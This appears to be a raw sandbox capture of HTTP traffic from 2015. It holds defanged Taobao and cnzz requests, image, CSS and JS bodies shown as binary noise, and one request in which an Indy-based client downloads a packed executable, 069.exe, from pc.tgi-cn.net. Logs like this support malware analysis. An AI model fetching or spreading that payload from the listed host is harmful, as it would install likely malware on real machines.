.PNG........IHDR.......g.....o...... cHRM..z%..............u0...`..:..
..o._.F....bKGD..............pHYs.................vpAg.......g..Z=6...
.IDATx....l.......I..i.[...^...-Yn...q....6m......Q..*j.1n,..U..P..E.4
.|.:ic......N... ..JT...{.....R.....J....om..!.G.8...,...?.O../~......
......B|Qt."[email protected]:!......tB.lZ........B....$x...B.TW..\..
..w.....}....m.z. ./1d....f..q...,.d....7[.f{.q...<..I...Z........u
...U..\....1...Q6E&c.X......X.,...r93.<..=r..]._W}fBd M....b.|p.1.)
...N.HWR..d..S..hs..B\6s.c.Bs..O..e.....7.u.On..q.2.M.c7.....( 2i"...&
lt;!.......O..$xB( ..B.....H..P.Z>eL.L.SL...D..C?7..h.5......L.....
...%xYn..e.....0...p.....-.#.g.)=..jf...c...Kg.....A....{y.e.5....@V./
.....D.._.k.?....D....VY3...xp................3.......#.P[[......].fM.
.@ @CC......K8........">...FGGijj..tRVV...{.#.;v.`..%....O>.]w..
.2_7....t8eY\...^(...v..x.D"..n..v{R9..Joo/.7n..... W...p...~?ccc.={..
....\b.711AII..G..e..u...n.V /.."N....A.....l.9r...j..x..Y........y...
.<.i.7.....D..'o..|....=Oa...\...i..yxm|.t&.....mV..........v{.5...
.8q...Zl6............2<<..jUVVRSS...g.y.@ ..s].W....a..e....n...
b..v...Eaa!UUU.|>..0......Q]]..l.....V2QA..Q...../.U1}.......JW.-..
.g..;.g..6...s.....|..g..."..g...H_..fr.-W}z.).......3....Z.......... 
........b.......x<...x=....zf...JZ....\. v5..................[;..."
...R.......P.e.j...............S._G?.....q....'?........G 1x'?As.S}.YM
y....x...q:......tmmm.X...m..._....tww.F7.l6.....m.`t..}.......X..<
q.x7..BLL$O-[,[email protected])................k./[email protected]
<<< skipped >>>

GET /core.php?web_id=1255080332&t=z HTTP/1.1

Accept: */*

Referer: hXXp://tongji.110160.com/will.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: c.cnzz.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/javascript

Content-Length: 751

Connection: keep-alive

Date: Mon, 01 Jun 2015 17:57:02 GMT

Last-Modified: Mon, 01 Jun 2015 17:57:02 GMT

Expires: Mon, 01 Jun 2015 18:12:02 GMT

Via: cache29.l2de1[321,200-0,M], cache55.l2de1[322,0], cache10.de1[321,200-0,M], cache7.de1[322,0]

X-Cache: MISS TCP_REFRESH_MISS dirn:-2:-2

X-Swift-SaveTime: Mon, 01 Jun 2015 17:57:02 GMT

X-Swift-CacheTime: 900
!function(){var p,q,r,a=encodeURIComponent,b="1255080332",c="",d="",e=
"online_v3.php",f="z4.cnzz.com",g="1",h="text",i="z",j="站໳
1;统计",k=window["_CNZZDbridge_" b].bobject,l="http:",m="0
",n=l "//online.cnzz.com/online/" e,o=[];o.push("id=" b),o.push("h=" f
),o.push("on=" a(d)),o.push("s=" a(c)),n ="?" o.join("&"),"0"===m&&k.c
allRequest([l "//cnzz.mmstat.com/9.gif?abc=1"]),g&&(""!==d?k.createScr
iptIcon(n,"utf-8"):(q="z"==i?"hXXp://VVV.cnzz.com/stat/website.php?web
_id=" b:"hXXp://quanjing.cnzz.com","pic"===h?(r=l "//icon.cnzz.com/img
/" c ".gif",p="<a href='" q "' target=_blank title='" j "'><i
mg border=0 hspace=0 vspace=0 src='" r "'></a>"):p="<a hre
f='" q "' target=_blank title='" j "'>" j "</a>",k.createIcon
([p])))}();HTTP/1.1 200 OK..Server: Tengine..Content-Type: application
/javascript..Content-Length: 751..Connection: keep-alive..Date: Mon, 0
1 Jun 2015 17:57:02 GMT..Last-Modified: Mon, 01 Jun 2015 17:57:02 GMT.
.Expires: Mon, 01 Jun 2015 18:12:02 GMT..Via: cache29.l2de1[321,200-0,
M], cache55.l2de1[322,0], cache10.de1[321,200-0,M], cache7.de1[322,0].
.X-Cache: MISS TCP_REFRESH_MISS dirn:-2:-2..X-Swift-SaveTime: Mon, 01 
Jun 2015 17:57:02 GMT..X-Swift-CacheTime: 900..!function(){var p,q,r,a
=encodeURIComponent,b="1255080332",c="",d="",e="online_v3.php",f="z4.c
nzz.com",g="1",h="text",i="z",j="站长统计",k=w
indow["_CNZZDbridge_" b].bobject,l="http:",m="0",n=l "//online.cnzz.co
m/online/" e,o=[];o.push("id=" b),o.push("h=" f),o.push("on=" a(d)
<<< skipped >>>

GET /down/069.exe HTTP/1.1

Host: pc.tgi-cn.net

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/octet-stream

Content-Length: 2511776

Connection: keep-alive

Set-Cookie: _alicdn_tc=AQAAAOjmAlX5VQYA5/SKweRi1FaJBzym; Path=/; Expires=Mon, 01-Jun-15 18:57:55 GMT; HttpOnly

Last-Modified: Mon, 01 Jun 2015 17:48:36 GMT

Accept-Ranges: bytes

ETag: "83d0512f939cd01:256"

X-Powered-By: ASP.NET

Date: Mon, 01 Jun 2015 17:50:03 GMT

Via: cache26.l2cn202[281,200-0,H], cache23.l2cn202[157,0], kunlun6.cn125[0,200-0,H], kunlun19.cn125[0,0]

Age: 472

X-Cache: HIT TCP_MEM_HIT dirn:3:165368355

X-Swift-SaveTime: Mon, 01 Jun 2015 17:50:08 GMT

X-Swift-CacheTime: 3600
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z..........@.#......p....@.........
.................0&.....&h&..............................R#.P.....#...
....%..$...........;&.....................................\=#. .......
..............".h............................text....X................
.......... ..`.rdata.......p......................@[email protected].......
[email protected][email protected].
..............................`....tls................................
@....vmp1...qV.......X..................`....rsrc....$....%..&...^....
..........@..@........................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................................
<<< skipped >>>

GET /tps/i1/T1A30CFvXbXXbhgrfd-29-26.png HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms01.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 549

Connection: keep-alive

Date: Mon, 01 Jun 2015 11:10:06 GMT

Last-Modified: Mon, 30 Dec 2013 02:41:40 GMT

Expires: Thu, 29 May 2025 11:10:06 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache8.l2de1[494,200-0,M], cache7.l2de1[494,0], cache5.de1[0,200-0,H], cache1.de1[0,0]

Age: 24424

X-Cache: HIT TCP_MEM_HIT dirn:7:272523753

X-Swift-SaveTime: Mon, 01 Jun 2015 11:10:06 GMT

X-Swift-CacheTime: 315360000
.PNG........IHDR.............|H.....lPLTE....o.....Bo.2d.4f.v..,^..`.*
\....;h................X.....[..b.....................................
..........c......tRNS...aRS.LNJ.Z.....w.{...s......QIDAT(.uR.r.0.4.9..
.$# m......C..2c,V..-..}l..u....]U...0.....q^....d......k..a%JI...L"$.
.|..&.....Y. ...:...m,.W`K.9)$...IL.N%Z...$b.LVcbe..b...l...^.$.Y.!.R#
.R.r....v...O...x....;6.4.\<@.B*.....$.fr0"l..![... yI.._..=.kz....
.s0....NYR..cN......"s....*Mx.A........V..y..].o._fkN.HH...A..)I...-..
.y.....N.2......3.... ..d..Wu......x.8.R~.1.-s........IEND.B`.HTTP/1.1
 200 OK..Server: Tengine..Content-Type: image/png..Content-Length: 549
..Connection: keep-alive..Date: Mon, 01 Jun 2015 11:10:06 GMT..Last-Mo
dified: Mon, 30 Dec 2013 02:41:40 GMT..Expires: Thu, 29 May 2025 11:10
:06 GMT..Cache-Control: max-age=315360000..Access-Control-Allow-Origin
: *..Via: cache8.l2de1[494,200-0,M], cache7.l2de1[494,0], cache5.de1[0
,200-0,H], cache1.de1[0,0]..Age: 24424..X-Cache: HIT TCP_MEM_HIT dirn:
7:272523753..X-Swift-SaveTime: Mon, 01 Jun 2015 11:10:06 GMT..X-Swift-
CacheTime: 315360000...PNG........IHDR.............|H.....lPLTE....o..
...Bo.2d.4f.v..,^..`.*\....;h................X.....[..b...............
................................c......tRNS...aRS.LNJ.Z.....w.{...s...
...QIDAT(.uR.r.0.4.9...$# m......C..2c,V..-..}l..u....]U...0.....q^...
.d......k..a%JI...L"$..|..&.....Y. ...:...m,.W`K.9)$...IL.N%Z...$b.LVc
be..b...l...^.$.Y.!.R#.R.r....v...O...x....;6.4.\<@.B*.....$.fr0"l.
.![... yI.._..=.kz.....s0....NYR..cN......"s....*Mx.A........V..y.
<<< skipped >>>

GET /tps/i1/TB1g8IVHVXXXXceXpXXYMrr2pXX-750-300.jpg_Q90.jpg HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms01.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/jpeg

Content-Length: 87545

Connection: keep-alive

Date: Mon, 01 Jun 2015 00:04:49 GMT

Last-Modified: Fri, 29 May 2015 12:39:07 GMT

Expires: Thu, 29 May 2025 00:04:49 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache3.l2de1[0,200-0,H], cache6.l2de1[0,0], cache4.de1[0,200-0,H], cache1.de1[0,0]

Age: 64345

X-Cache: HIT TCP_MEM_HIT dirn:2:778342436

X-Swift-SaveTime: Mon, 01 Jun 2015 00:10:38 GMT

X-Swift-CacheTime: 315359651
......JFIF.....d.d......Ducky.......<......Adobe.d.................
......................................................................
..........................................................,...........
......................................................................
............!1..A".Qa2.q.#....BR...br.3$....s...U.7...CS.4Tt.%5uV.c.d.
.....E.'..D.e&6W......................!1..AQ.aq"........2..BR..br#3.4.
.....S$..Ccs.E............?..S^...m.P;h.P:..P).u..`[email protected]
"Q..J.I..9............_!.s..C....A...R.:.@T..*.m.*...h.T.....Q.X......
......tm<.f.CQyjqer...T.N.4Tu...U.<.i1.1.w.2. e..3?Mm......(....
.e.3..E..:.<..._uu.3.....`3)*.....#.?..X....Q.>N......}.....%m..
..<....|5.^gy..OB5....F..b.z..r.{V.H.xn^_.z..(..^o%.*...|....:.-v..
 .-m&...C.......}...K......]..,9..u[.Z....21.....F>.1T...".......l.
..}.......8.T.e.......: .%.S$.]J.......".6.\..I.I.C..=&...~:.H.Y!o'.&l
t;...<.|...)...#D.%o/-g.M..>.A..5.C.pu[E...D.:...v..H.:`6....T..
.9.L...#....'..A.&G.u|L..:..W&UA)...!...u4....U..}.*..|4.:....E.h. .@.
..f.R4.g.EDu8........:..m..P...... [email protected]. .P.....Rt....D
..*:....([email protected]?......6cE.......-..v(........_....V..N...a#P.
J..(..g... ..EQ..$`.g...i..1{... B.........$.:8. ..s~...S.C.]d.3...I..
.....5.....3..E.q......O..h.*...r2.0.jU .]:..U..PH....k=.T.j....v)..W.
..Ov.D\J.1'Z......H...l......SMCB,..^.D...`h...my}....e....t...3..Q^,x
~m4.N0.`...7>k......2F?..l............./.Nc.[.;`V......Uk...\.....x
.V..n..S..#T...m.lm{........H,......4T1.>l.J..<./.ic.h..n-eX
<<< skipped >>>

GET /tps/i1/TB1UaVtIXXXXXbHXFXX9sla8VXX-750-300.jpeg_Q90.jpg HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms01.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/jpeg

Content-Length: 91381

Connection: keep-alive

Date: Mon, 01 Jun 2015 11:25:41 GMT

Last-Modified: Mon, 01 Jun 2015 02:00:42 GMT

Expires: Thu, 29 May 2025 11:25:41 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache39.l2de1[0,200-0,H], cache51.l2de1[0,0], cache7.de1[0,200-0,H], cache1.de1[0,0]

Age: 23497

X-Cache: HIT TCP_MEM_HIT dirn:7:526969560

X-Swift-SaveTime: Mon, 01 Jun 2015 11:31:14 GMT

X-Swift-CacheTime: 315359667
......JFIF.....H.H.....C..............................................
......................C...............................................
........................,.............................................
.d.........................!..1..AQ."aq...2..#BR....34Sbrs.......$Cc..
..%.....57Tdtu...&DUV..'EFev....................................O.....
...................!1..AQ.aq....."2...#3BR......r...5CSTb..$%4..D....s
..............?.f.....f.)GA.B.Z"<h$.....D..DR....h.l...Zl.C;PBRsA$.
..z4.(..F.RM.I)*.F.R.yN|).a6rG.......$.:JP.4R....4.I..%6.........R....
..B..PA..%QJ.4r.U...v;.I(.ZM(%5,...KJ..PF<(.8..$.*..F<(%..i).P'.
.....;.I).,.RS.,...I...E(.. .P>...iD..F.8.....@......%.....9>.X.
;.....".%.KH'.."a.1..2.A-..$ .) .$..$.,...$....&.......P..B..@&\`,D..M
..IF..P..k.)6P>4..I...)..M...w.)$...I)..H))..I n..._:A..\.o/......Y
..0H....J........>ks....?!\...-..3S...\z...<.z3?.#.E..........Qz
...<..f.zG../.........P.j..x!..~....?.b......C..~A........(.......G
...h~A...#........ ..2...?T=V..............q_....Q.........C.....(....
._.G...[.A..z.o....E.s..........o...C.c~......1O....Q...v..x..v..P\Sl.
..n..oZ.../..jt.Ws.C..$hUf%mB.....r.u..&.K.0..DtIR._.......B. Q..%.T..
..)A6...7..0...JDJI4i.R....P....a..h"%.)...].(&NI$...T.IDw..I)%c..\...
M......-8.E.PA .JA)*..l.........m.I..P.FL%):[email protected]
.P......aW.77.......;.d.v...y`....@=s.....W.[.-.R..........G.j.......P
 ..$.S.P...R.B...A.K=).Q....-.$...........@.. ....jKJZz...)&.Q..~.R...
..)%Ih...h....m.!..6(B9..4.`.RR......Tq.5...Y..ZM.....{OJP......T}
<<< skipped >>>

GET /ju/common/1.5.9/global-min.css HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: text/css

Content-Length: 11034

Connection: keep-alive

Date: Mon, 01 Jun 2015 17:35:41 GMT

Last-Modified: Tue, 26 May 2015 08:30:41 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache38.l2de1[834,304-0,H], cache49.l2de1[835,0], cache9.de1[0,200-0,H], cache5.de1[0,0]

Content-Encoding: gzip

Age: 1286

X-Cache: HIT TCP_MEM_HIT dirn:3:606438577

X-Swift-SaveTime: Mon, 01 Jun 2015 17:35:41 GMT

X-Swift-CacheTime: 3600
...........}...Fr._An..........r.dYvr...r...J.......IP......3=...t.._.
.l..<z..==......e_VEgZ..;.}U..N.w.U'.:.e..w.|(...E...t...b.Y.;...b.
Y.7...*..u.Y-;....l.E..;U....E........m...I.v...r}?.=....~. ....g.Uu..
/.o.U:/.U.{(.j...u..V.lW...C.kZ.>...o...Y.*h`]... V..r0.p.I.......'
...r.-w..J. [..?t.lQ>d.l..v..j....2.)[..o...Qp.DJ.t.n.k1..z.|lt#x`.
..E5..z...m..ufK.N>_w....l..v..U1Y.U.....^..k<. ...........e..Jf
e^t.Ns...{..P..a..8......&..}G>w..u..d..q...djZ....H.T]-w@&.g]<.
.&..@8 .......Z.k..~..7u..]Un..i..i.l......|.......U.tU..tV.V.fW.r..-.
Kq..r.&.........3.....~.........f..; ..VO....h8.../....on...nQVO>..
?_,....... ....x..y^.i.)...M....'......p..SG.*[email protected]
...[...VE..$....,.&.G.d.. ......5....z.....r.Ye.'S.l. .(N.[.g.|.x..d..
.a.N./.j1...6.n.3...4......u.........n7.nI..-V..........z..6.....V._..
.[Y.LH..axM..u2-.5.;..0.I#............q......oz.......A...@.\,.......3
....J.i.......K.'..a\..M.....#..9hm..`......._..:/>..~..v`........i
..)...$.=.r..*....t.....c`6.u.tx....G..:{.i.3..z..:..g..wW.u...M....O.
!....\-.....\.E.aI2@/1....mT.;..U..c~..GS3V..X..U1...U.U......?.\N...M
.&^..H..}.....b3..!......=.....5.H..............F.W........'i...E\.(-.
i..Z."/..4.m.*[email protected]........._...H5....`.x.d..p.k.B...
.~..O..8..;UM...6.`.....Z`..2p.s.$....C.h0.... ...W...V.%:)..........2
.."N...$..]0...O.lMF...z.=..z...0....xQO.-8........-..c...nQ....mM..~W
.``.E...g.......n...|.1...4D.h........u.:....K.\...3/H..#....Tg....Tc.
......NT..........n.......UM.\..-4P.....K.-oHE7.0"6{.h.../.ET..jVd
<<< skipped >>>

GET /??kissy/k/1.4.14/seed-min.js,ju/common/1.5.9/global-min.js,tb/tracker/1.0.16/index.js HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 28824

Connection: keep-alive

Date: Mon, 01 Jun 2015 17:18:26 GMT

Last-Modified: Tue, 26 May 2015 08:30:41 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache20.l2de1[0,304-0,H], cache29.l2de1[1,0], cache7.de1[0,200-0,H], cache5.de1[0,0]

Content-Encoding: gzip

Age: 2321

X-Cache: HIT TCP_MEM_HIT dirn:5:491155721

X-Swift-SaveTime: Mon, 01 Jun 2015 17:22:57 GMT

X-Swift-CacheTime: 3600
............w..G....^........J..B\Y.f.uz,yw..4o.h...FP......W...hP...{
[email protected].<.^...............|........~Q.......[..;.d.v....Qwk1
................;....If.n...t.....T/...T.T..uy....tVI....q...U.q.z.>
;...mt...t..M....._...8.^_W .qZm.w..jz..Z{..u.M..~c./.Nz.....m2.4....l
6.5..]7...../.z..W.._~...i........=z.E.?..i\...Ec1....g.Io.o...(.M....
..M:.3.F..j....cKf..2P3......\..{.A....[...5......Y.YT...A-M:.J7..J.I.
..i..&'..N...F.....I ..6*g....i..J.....3WL..'.3=.5S.....}...F.e...:...
o..~:._..n.........:...nI.Jru.E.....u........}..IG..........Y.(~......
.5......5"--........L...G..u.....W......T..../Ar.ua.....^e{xu.......B.
E.K.&.h..e..<.],.....|.Jj....._...F.....4_.......bg.J.....-N._.[...
.A.....w.N......j...:oR..C...}2.^]........r..m..P........w.V.....LGsvX
...go[/......j5....oy..rOg..}.-.....d8qXH..[fzh...Fe.z_......j..}#l...
....v...2.......Y...|.o..f...Z..__....l\I..G..}7_....t...;.a.....mE...
......?>....?F....g.......es.k.Y.,.....\L_-f.....v1.^.........8.%.Q
Z.|...~.......o'?.Z1p.M.......^\.X....7S.vj;..$.%....b4\T.8.6C..."....
.eXMDA...J&..|../..h.."R..a.........J...V..c.j.w...........q..J.z.I...
6}.R.2..X[..6;....-O......w...3.........w.....W.......F.=....;h.....j.
.;j......[q.3....w ....^FSCw.7Z.io....Z....p.....h..u..........3^.1...
.6..]...aKl.^...brnDl...~.xP=.7..f.m.N...".#......B2..........f.......
M.._....~....{...'...:.....b^..b..M...u..s.kv `T...0.p$c..6Y..F..v....
......>....1...9...o..................R$.{......Q.L...r.......[....
..\.t..w.........8.....P.q.^.......7U...8}.H'....D.Fi...8.;hvk..bN
<<< skipped >>>

GET /kissy/k/1.4.14/??dom/base-min.js,dom/ie-min.js,dom/class-list-min.js,dom/selector-min.js,event-min.js,event/dom/base-min.js,event/base-min.js,event/dom/hashchange-min.js,event/dom/ie-min.js,event/custom-min.js,io-min.js,promise-min.js,anim-min.js,anim/base-min.js,anim/timer-min.js,base-min.js,attribute-min.js,node-min.js,json-min.js,cookie-min.js HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 55639

Connection: keep-alive

Date: Mon, 01 Jun 2015 17:23:17 GMT

Last-Modified: Tue, 24 Mar 2015 08:58:33 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache4.l2de1[0,304-0,H], cache50.l2de1[1,0], cache10.de1[0,200-0,H], cache5.de1[1,0]

Content-Encoding: gzip

Age: 2031

X-Cache: HIT TCP_MEM_HIT dirn:1:137414764

X-Swift-SaveTime: Mon, 01 Jun 2015 17:51:29 GMT

X-Swift-CacheTime: 3600
............yw.G....>....%.....H.:..$...slg&......H.)...H..~..P..E9
..;......X].B.P..@.|..hz.q6......{....>y....w{.....v.~~.j....N.io.s
9.........8.......o|.......Wo.z.Joz..i.........$..Iw1.N....w...y..~4yW
.N......d.:......t.Hf...a.k].==.....7..?>j.%..^.x......b?yu.[..^...
...7/...z...7.....W..yq.....g..._.z..........|....o.<{.....>.I.=
.9......G.......~.%.............^..........$m]..........y{4id..9.z....
9.I..tQ...a..!.....^}<...iC..}.6g..r6Y.n.Z..M...W.z[...MBoG....O.3.
..uK...6....f.Q.....`...Z....=..F......W..R..l.............t.lW....>
;.H'.Z3{.a.*...5...T.v..t...?j[..j.ViT..3>...E..i..5.........F...Y-
...y..{Vk..)c.w.g....).......$t/..K4..Y.I}.~......E......../.s....../.
3............k.....YF......-H......M2.C.....|...!./AD......^}.H.77....
.W0....%M.. .R.....{[email protected]...[[L.V/C
v.&a..y.....7...x...>\T .T [;....N....../_..k.{[<..G'.......|z9.
.[.Z.`..C.......l}QI*.J..yZ?.}..I.....\.......R7.X...y.*...I..!{r9..Z.
.J......F.j;.8s............R$5&.'vq`.Z.F..o4...y5.R....8........&....&
lt;.......D'....`.}.......J.........{......w..N...x~.RHg......S?..z..z
<.^\..DF...ZL.z..{...#.....m.&.....".....%#.~.r..N.G......sJ...z.~X
....|[email protected][;..?......y=..$..{....5f.....;\..A]...^...~.[...6L..R..
.......x.jz....}~.I...E..cJ?4...|[email protected]...<.nF.*.lT ..JF....N}~.vG.
Q.;....'..N../.do......|Qmg.U.......l......k.{}......bjR..FE..4..$B..L
O4.J...QQ.9..J.Og.La..JI.;n...._..Jr..0N'..X...........vw4........\ md
....@0}. ...........P...yz..hT..s........z..Q....A.N.0..7b...(..(T
<<< skipped >>>

GET /s.gif HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/gif

Content-Length: 43

Connection: keep-alive

Date: Mon, 01 Jun 2015 17:12:37 GMT

Last-Modified: Fri, 11 Oct 2013 04:52:49 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Accept-Ranges: bytes

Via: cache18.l2de1[0,304-0,H], cache64.l2de1[0,0], cache7.de1[0,200-0,H], cache5.de1[0,0]

Age: 2671

X-Cache: HIT TCP_MEM_HIT dirn:0:552702763

X-Swift-SaveTime: Mon, 01 Jun 2015 17:52:23 GMT

X-Swift-CacheTime: 3600
GIF89a.............!.......,...........D..;HTTP/1.1 200 OK..Server: Te
ngine..Content-Type: image/gif..Content-Length: 43..Connection: keep-a
live..Date: Mon, 01 Jun 2015 17:12:37 GMT..Last-Modified: Fri, 11 Oct 
2013 04:52:49 GMT..Cache-Control: max-age=315360000,s-maxage=3600..Acc
ess-Control-Allow-Origin: *..Accept-Ranges: bytes..Via: cache18.l2de1[
0,304-0,H], cache64.l2de1[0,0], cache7.de1[0,200-0,H], cache5.de1[0,0]
..Age: 2671..X-Cache: HIT TCP_MEM_HIT dirn:0:552702763..X-Swift-SaveTi
me: Mon, 01 Jun 2015 17:52:23 GMT..X-Swift-CacheTime: 3600..GIF89a....
.........!.......,...........D..;....


GET /??ju/home/1.3.5/pages/2015/index-min.js,kissy/k/1.3.2/template-min.js HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 14424

Connection: keep-alive

Date: Mon, 01 Jun 2015 17:46:20 GMT

Last-Modified: Thu, 21 May 2015 09:58:29 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache55.l2de1[584,304-0,H], cache29.l2de1[584,0], cache8.de1[0,200-0,H], cache5.de1[1,0]

Content-Encoding: gzip

Age: 649

X-Cache: HIT TCP_MEM_HIT dirn:2:446747584

X-Swift-SaveTime: Mon, 01 Jun 2015 17:46:20 GMT

X-Swift-CacheTime: 3600
............_s..u...).....M..<I.P..5.5..[k..JQ\U.h.-..pw..M.*....}.
..'....V..I...b...?}..5....,....s..s...<{.....l..V7..rV.>=:..p..
EVE.|SL..,.Y..E..n..^...:.zy...".G..}.C..?3u..|o._Q*.........7....>
....e>..y|[../..(.^....n...(..E..M.C...8ed..y./.Y...l.M.l...l.....l
>..(..3jdi...Q...gesE.M...F..q.i..T{t...Y]...O..C.L......`.1.~4..e.
......3.4....:-.e}......e.?}:......Lg/7uS..O.p.m...4..."...........w..
`p.`....."iv.=........y9....e4.^5.e.5..?....0.o...^...U_..J.?.uB..L...
M.t..'.f...7..'..o_..W....~u.i.............C....,....Y:...O...R.MO....
...Y6.~.I..........3f..........<./.../.....fC[....{r%|.Lt...W......
.*),..f....ure...y.$..u....b.\..O.......r0..Uy....Y..b.O....;.>..R.
.;..].....04......l.....^3.........:.V.r.a.d..;}K...ME..yZ-..v...\.u..
..l....R....l.....0.......o.tv..9.N.)...P(KIKM..........MYF.5^&..-...x
Y...l.0...)s..fS..&iN!.(...^/[email protected]...&g
t;:R&V..M.n.wuO(.^#...V..7.n=.....i.Z...a..d....M..KH^.....l..2..D.w..
..q.*-.....8`.i.&9...9.._.u..o.......u64..z.]i.T.H.......Wi..j........
.E0L......X..# ..gI.......7.3_.H......[.0F%B.V....U.,....0.X....-.....
S.,8.0....8.....*h-..%[email protected]
.u.%.X..r....m..k.."...#...d.w.kf....U...O..$)N!..t...........`t].....
..i.&....G$....................|q%............\..L.`Y%.. H ...........
.o.J.".]..H.%.M.......4..c.V=.J!........rM......k....\....o:o.o|....U.
jj.V......5.r_.h.QPH.O..2.rv.......^.3.......F$.^T."/T..Vw..p.A1...uf?
..f..v..1..L..U&......_..c.a.)nd.@.<_e..i.......cT. .B..Q...#p.
<<< skipped >>>

GET /ju/??jufav/1.0.29/jufav-min.css?t=16588.css HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: text/css

Content-Length: 13705

Connection: keep-alive

Date: Mon, 01 Jun 2015 16:58:58 GMT

Last-Modified: Thu, 26 Mar 2015 05:59:10 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

